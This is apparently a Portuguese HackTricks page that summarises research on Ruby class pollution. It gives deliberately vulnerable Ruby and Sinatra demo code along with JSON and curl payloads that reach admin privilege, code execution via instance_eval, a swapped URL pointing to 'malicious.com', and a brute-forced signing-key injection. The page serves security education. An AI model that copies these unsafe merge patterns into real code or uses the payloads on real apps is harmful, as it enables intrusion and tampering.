mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
441 lines
13 KiB
Markdown
441 lines
13 KiB
Markdown
# Poluição de Classe Ruby
|
||
|
||
{% hint style="success" %}
|
||
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
Este é um resumo do post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||
|
||
## Mesclar em Atributos
|
||
|
||
Exemplo:
|
||
```ruby
|
||
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
||
# Comments added to exploit the merge on attributes
|
||
require 'json'
|
||
|
||
|
||
# Base class for both Admin and Regular users
|
||
class Person
|
||
|
||
attr_accessor :name, :age, :details
|
||
|
||
def initialize(name:, age:, details:)
|
||
@name = name
|
||
@age = age
|
||
@details = details
|
||
end
|
||
|
||
# Method to merge additional data into the object
|
||
def merge_with(additional)
|
||
recursive_merge(self, additional)
|
||
end
|
||
|
||
# Authorize based on the `to_s` method result
|
||
def authorize
|
||
if to_s == "Admin"
|
||
puts "Access granted: #{@name} is an admin."
|
||
else
|
||
puts "Access denied: #{@name} is not an admin."
|
||
end
|
||
end
|
||
|
||
# Health check that executes all protected methods using `instance_eval`
|
||
def health_check
|
||
protected_methods().each do |method|
|
||
instance_eval(method.to_s)
|
||
end
|
||
end
|
||
|
||
private
|
||
|
||
# VULNERABLE FUNCTION that can be abused to merge attributes
|
||
def recursive_merge(original, additional, current_obj = original)
|
||
additional.each do |key, value|
|
||
|
||
if value.is_a?(Hash)
|
||
if current_obj.respond_to?(key)
|
||
next_obj = current_obj.public_send(key)
|
||
recursive_merge(original, value, next_obj)
|
||
else
|
||
new_object = Object.new
|
||
current_obj.instance_variable_set("@#{key}", new_object)
|
||
current_obj.singleton_class.attr_accessor key
|
||
end
|
||
else
|
||
current_obj.instance_variable_set("@#{key}", value)
|
||
current_obj.singleton_class.attr_accessor key
|
||
end
|
||
end
|
||
original
|
||
end
|
||
|
||
protected
|
||
|
||
def check_cpu
|
||
puts "CPU check passed."
|
||
end
|
||
|
||
def check_memory
|
||
puts "Memory check passed."
|
||
end
|
||
end
|
||
|
||
# Admin class inherits from Person
|
||
class Admin < Person
|
||
def initialize(name:, age:, details:)
|
||
super(name: name, age: age, details: details)
|
||
end
|
||
|
||
def to_s
|
||
"Admin"
|
||
end
|
||
end
|
||
|
||
# Regular user class inherits from Person
|
||
class User < Person
|
||
def initialize(name:, age:, details:)
|
||
super(name: name, age: age, details: details)
|
||
end
|
||
|
||
def to_s
|
||
"User"
|
||
end
|
||
end
|
||
|
||
class JSONMergerApp
|
||
def self.run(json_input)
|
||
additional_object = JSON.parse(json_input)
|
||
|
||
# Instantiate a regular user
|
||
user = User.new(
|
||
name: "John Doe",
|
||
age: 30,
|
||
details: {
|
||
"occupation" => "Engineer",
|
||
"location" => {
|
||
"city" => "Madrid",
|
||
"country" => "Spain"
|
||
}
|
||
}
|
||
)
|
||
|
||
|
||
# Perform a recursive merge, which could override methods
|
||
user.merge_with(additional_object)
|
||
|
||
# Authorize the user (privilege escalation vulnerability)
|
||
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||
user.authorize
|
||
|
||
# Execute health check (RCE vulnerability)
|
||
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||
user.health_check
|
||
|
||
end
|
||
end
|
||
|
||
if ARGV.length != 1
|
||
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
||
exit
|
||
end
|
||
|
||
json_input = ARGV[0]
|
||
JSONMergerApp.run(json_input)
|
||
```
|
||
### Explicação
|
||
|
||
1. **Escalação de Privilégios**: O método `authorize` verifica se `to_s` retorna "Admin." Ao injetar um novo atributo `to_s` através do JSON, um atacante pode fazer com que o método `to_s` retorne "Admin," concedendo privilégios não autorizados.
|
||
2. **Execução Remota de Código**: Em `health_check`, `instance_eval` executa métodos listados em `protected_methods`. Se um atacante injetar nomes de métodos personalizados (como `"puts 1"`), `instance_eval` irá executá-lo, levando à **execução remota de código (RCE)**.
|
||
1. Isso só é possível porque há uma **instrução `eval` vulnerável** executando o valor da string desse atributo.
|
||
3. **Limitação de Impacto**: Essa vulnerabilidade afeta apenas instâncias individuais, deixando outras instâncias de `User` e `Admin` inalteradas, limitando assim o escopo da exploração.
|
||
|
||
### Casos do Mundo Real <a href="#real-world-cases" id="real-world-cases"></a>
|
||
|
||
### `deep_merge` do ActiveSupport
|
||
|
||
Isso não é vulnerável por padrão, mas pode ser tornado vulnerável com algo como: 
|
||
```ruby
|
||
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||
def merge_with(other_object)
|
||
merged_hash = to_h.deep_merge(other_object)
|
||
|
||
merged_hash.each do |key, value|
|
||
self.class.attr_accessor key
|
||
instance_variable_set("@#{key}", value)
|
||
end
|
||
|
||
self
|
||
end
|
||
```
|
||
### Hashie’s `deep_merge`
|
||
|
||
O método `deep_merge` do Hashie opera diretamente nos atributos do objeto em vez de hashes simples. Ele **impede a substituição de métodos** por atributos em uma mesclagem com algumas **exceções**: atributos que terminam com `_`, `!` ou `?` ainda podem ser mesclados no objeto.
|
||
|
||
Um caso especial é o atributo **`_`** por si só. Apenas `_` é um atributo que geralmente retorna um objeto `Mash`. E porque faz parte das **exceções**, é possível modificá-lo.
|
||
|
||
Veja o seguinte exemplo de como passando `{"_": "Admin"}` é possível contornar `_.to_s == "Admin"`:
|
||
```ruby
|
||
require 'json'
|
||
require 'hashie'
|
||
|
||
# Base class for both Admin and Regular users
|
||
class Person < Hashie::Mash
|
||
|
||
# Method to merge additional data into the object using hashie
|
||
def merge_with(other_object)
|
||
deep_merge!(other_object)
|
||
self
|
||
end
|
||
|
||
# Authorize based on to_s
|
||
def authorize
|
||
if _.to_s == "Admin"
|
||
puts "Access granted: #{@name} is an admin."
|
||
else
|
||
puts "Access denied: #{@name} is not an admin."
|
||
end
|
||
end
|
||
|
||
end
|
||
|
||
# Admin class inherits from Person
|
||
class Admin < Person
|
||
def to_s
|
||
"Admin"
|
||
end
|
||
end
|
||
|
||
# Regular user class inherits from Person
|
||
class User < Person
|
||
def to_s
|
||
"User"
|
||
end
|
||
end
|
||
|
||
class JSONMergerApp
|
||
def self.run(json_input)
|
||
additional_object = JSON.parse(json_input)
|
||
|
||
# Instantiate a regular user
|
||
user = User.new({
|
||
name: "John Doe",
|
||
age: 30,
|
||
details: {
|
||
"occupation" => "Engineer",
|
||
"location" => {
|
||
"city" => "Madrid",
|
||
"country" => "Spain"
|
||
}
|
||
}
|
||
})
|
||
|
||
# Perform a deep merge, which could override methods
|
||
user.merge_with(additional_object)
|
||
|
||
# Authorize the user (privilege escalation vulnerability)
|
||
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
||
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||
user.authorize
|
||
end
|
||
end
|
||
|
||
if ARGV.length != 1
|
||
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
||
exit
|
||
end
|
||
|
||
json_input = ARGV[0]
|
||
JSONMergerApp.run(json_input)
|
||
```
|
||
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||
|
||
No exemplo a seguir, é possível encontrar a classe **`Person`**, e as classes **`Admin`** e **`Regular`** que herdam da classe **`Person`**. Também possui outra classe chamada **`KeySigner`**:
|
||
```ruby
|
||
require 'json'
|
||
require 'sinatra/base'
|
||
require 'net/http'
|
||
|
||
# Base class for both Admin and Regular users
|
||
class Person
|
||
@@url = "http://default-url.com"
|
||
|
||
attr_accessor :name, :age, :details
|
||
|
||
def initialize(name:, age:, details:)
|
||
@name = name
|
||
@age = age
|
||
@details = details
|
||
end
|
||
|
||
def self.url
|
||
@@url
|
||
end
|
||
|
||
# Method to merge additional data into the object
|
||
def merge_with(additional)
|
||
recursive_merge(self, additional)
|
||
end
|
||
|
||
private
|
||
|
||
# Recursive merge to modify instance variables
|
||
def recursive_merge(original, additional, current_obj = original)
|
||
additional.each do |key, value|
|
||
if value.is_a?(Hash)
|
||
if current_obj.respond_to?(key)
|
||
next_obj = current_obj.public_send(key)
|
||
recursive_merge(original, value, next_obj)
|
||
else
|
||
new_object = Object.new
|
||
current_obj.instance_variable_set("@#{key}", new_object)
|
||
current_obj.singleton_class.attr_accessor key
|
||
end
|
||
else
|
||
current_obj.instance_variable_set("@#{key}", value)
|
||
current_obj.singleton_class.attr_accessor key
|
||
end
|
||
end
|
||
original
|
||
end
|
||
end
|
||
|
||
class User < Person
|
||
def initialize(name:, age:, details:)
|
||
super(name: name, age: age, details: details)
|
||
end
|
||
end
|
||
|
||
# A class created to simulate signing with a key, to be infected with the third gadget
|
||
class KeySigner
|
||
@@signing_key = "default-signing-key"
|
||
|
||
def self.signing_key
|
||
@@signing_key
|
||
end
|
||
|
||
def sign(signing_key, data)
|
||
"#{data}-signed-with-#{signing_key}"
|
||
end
|
||
end
|
||
|
||
class JSONMergerApp < Sinatra::Base
|
||
# POST /merge - Infects class variables using JSON input
|
||
post '/merge' do
|
||
content_type :json
|
||
json_input = JSON.parse(request.body.read)
|
||
|
||
user = User.new(
|
||
name: "John Doe",
|
||
age: 30,
|
||
details: {
|
||
"occupation" => "Engineer",
|
||
"location" => {
|
||
"city" => "Madrid",
|
||
"country" => "Spain"
|
||
}
|
||
}
|
||
)
|
||
|
||
user.merge_with(json_input)
|
||
|
||
{ status: 'merged' }.to_json
|
||
end
|
||
|
||
# GET /launch-curl-command - Activates the first gadget
|
||
get '/launch-curl-command' do
|
||
content_type :json
|
||
|
||
# This gadget makes an HTTP request to the URL stored in the User class
|
||
if Person.respond_to?(:url)
|
||
url = Person.url
|
||
response = Net::HTTP.get_response(URI(url))
|
||
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
||
else
|
||
{ status: 'Failed to access URL variable' }.to_json
|
||
end
|
||
end
|
||
|
||
# Curl command to infect User class URL:
|
||
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
||
|
||
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
||
get '/sign_with_subclass_key' do
|
||
content_type :json
|
||
|
||
# This gadget signs data using the signing key stored in KeySigner class
|
||
signer = KeySigner.new
|
||
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
||
|
||
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
||
end
|
||
|
||
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
||
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
||
|
||
# GET /check-infected-vars - Check if all variables have been infected
|
||
get '/check-infected-vars' do
|
||
content_type :json
|
||
|
||
{
|
||
user_url: Person.url,
|
||
signing_key: KeySigner.signing_key
|
||
}.to_json
|
||
end
|
||
|
||
run! if app_file == $0
|
||
end
|
||
```
|
||
### Classe Pai Tóxica
|
||
|
||
Com este payload:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||
```
|
||
{% endcode %}
|
||
|
||
É possível modificar o valor do atributo **`@@url`** da classe pai **`Person`**.
|
||
|
||
### **Envenenando Outras Classes**
|
||
|
||
Com este payload:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||
```
|
||
{% endcode %}
|
||
|
||
É possível realizar um ataque de força bruta nas classes definidas e, em algum momento, envenenar a classe **`KeySigner`** modificando o valor de `signing_key` para `injected-signing-key`.\
|
||
|
||
## Referências
|
||
|
||
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||
|
||
{% hint style="success" %}
|
||
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
{% endhint %}
|